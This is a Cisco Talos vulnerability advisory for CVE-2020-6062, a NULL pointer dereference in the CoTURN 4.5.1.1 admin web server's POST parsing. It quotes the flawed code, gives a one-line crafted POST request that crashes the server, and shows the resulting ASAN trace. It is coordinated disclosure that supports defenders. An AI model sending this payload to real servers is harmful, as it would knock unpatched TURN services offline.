

## Talos Vulnerability Report

TALOS-2020-0985

### CoTURN HTTP Server POST-parsing denial-of-service vulnerability

FEBRUARY 18, 2020

#### CVE NUMBER

CVE-2020-6062

#### Summary

An exploitable denial-of-service vulnerability exists in the way CoTURN 4.5.1.1 web server parses POST requests. A specially crafted HTTP POST request can lead to server crash and denial of service. An attacker needs to send an HTTP request to trigger this vulnerability.

#### Tested Versions

CoTURN 4.5.1.1

#### Product URLs

<https://github.com/coturn/coturn>

#### CVSSv3 Score

5.9 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

#### CWE

CWE-476 - NULL Pointer Dereference

#### Details

CoTURN is a TURN server implementation. A TURN Server is a VoIP media traffic NAT traversal server and gateway. CoTURN can be used as a general-purpose network traffic TURN server and gateway.

For administration purposes, it includes a web server. Code responsible for parsing POST request body variables contains a bug that can lead to denial of service.

Following code is responsible for parsing key/value pairs from POST request body into a dictionary:

```
while (fsplit != NULL) {
    char *vmarker = NULL;
    char *key = strtok_r(fsplitt, "=", &vmarker);      [1]
    char *value = strtok_r(NULL, "=", &vmarker);
    char empty[1];
    empty[0]=0;
    value = value ? value : empty;
    value = evhttp_decode_uri(value);
    char *p = value;
    while (*p) {
        if (*p == '+')
            *p = ' ';
        p++;
    }
    list->keys = (char**)realloc(list->keys, sizeof(char*)*(list->n+1));
    list->keys[list->n] = strdup(key);                    [2]
    list->values = (char**)realloc(list->values, sizeof(char*)*(list->n+1));
    list->values[list->n] = value;
    ++(list->n);
    fsplitt = strtok_r(NULL, "&", &fmarker);
}
```

In the above code, function `strtok_r` can return a NULL value if the left hand side of the split is empty. This NULL pointer is subsequently used in a call to `strdup` at [2] which will result in a NULL pointer dereference, resulting in a process crash and denial of service.

A post request of the following form can be sent to trigger this vulnerability:

```
"POST /logon HTTP/1.1\r\nContent-Length: 3\r\n\r\n&=\x00"
```

This results in the following crash:

```
ASAN: SIGSEGV
=====
==119651==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9def50e746 bp 0x7f9de4cdece0 sp 0x7f9de4cde468 T14)
#0 0x7f9def50e745 in strlen (/lib/x86_64-linux-gnu/libc.so.6+0x8b745)
#1 0x7f9df0ca11b8 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x621b8)
#2 0x4207a9 in post_parse src/apps/relay/http_server.c:138
#3 0x420e3e in parse_http_request_1 src/apps/relay/http_server.c:192
#4 0x4210d5 in parse_http_request src/apps/relay/http_server.c:224
#5 0x453932 in handle_https src/apps/relay/turn_admin_server.c:3354
#6 0x455ff6 in https_input_handler src/apps/relay/turn_admin_server.c:3790
#7 0x415235 in socket_input_worker src/apps/relay/ns_ioalib_engine_impl.c:2472
#8 0x4167dd in socket_input_handler_bev src/apps/relay/ns_ioalib_engine_impl.c:2690
#9 0x7f9df00a718d in _bufferevent_decref_and_unlock ??:~
#10 0x7f9df00a718d in ?? ??:~
#11 0x7f9df009bfb5 in event_base_loop (/usr/lib/x86_64-linux-gnu/libevent_core-2.0.so.5+0x9fb5)
#12 0x438143 in run_events src/apps/relay/netengine.c:1579
#13 0x439983 in run_admin_server_thread src/apps/relay/netengine.c:1807
#14 0x7f9def8546b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
#15 0x7f9def58a41c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:~ strlen
Thread T14 created by T0 here:
#0 0x7f9df0c75253 in pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x36253)
#1 0x439af8 in setup_admin_server src/apps/relay/netengine.c:1819
#2 0x439f56 in setup_server src/apps/relay/netengine.c:1893
#3 0x429cea in main src/apps/relay/mainrelay.c:2429
#4 0x7f9def4a382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```

Timeline

- 2020-02-11 - Vendor Disclosure
- 2020-02-17 - Vendor patched
- 2020-02-18 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS	PREVIOUS REPORT	NEXT REPORT
	TALOS-2020-0984	TALOS-2020-1215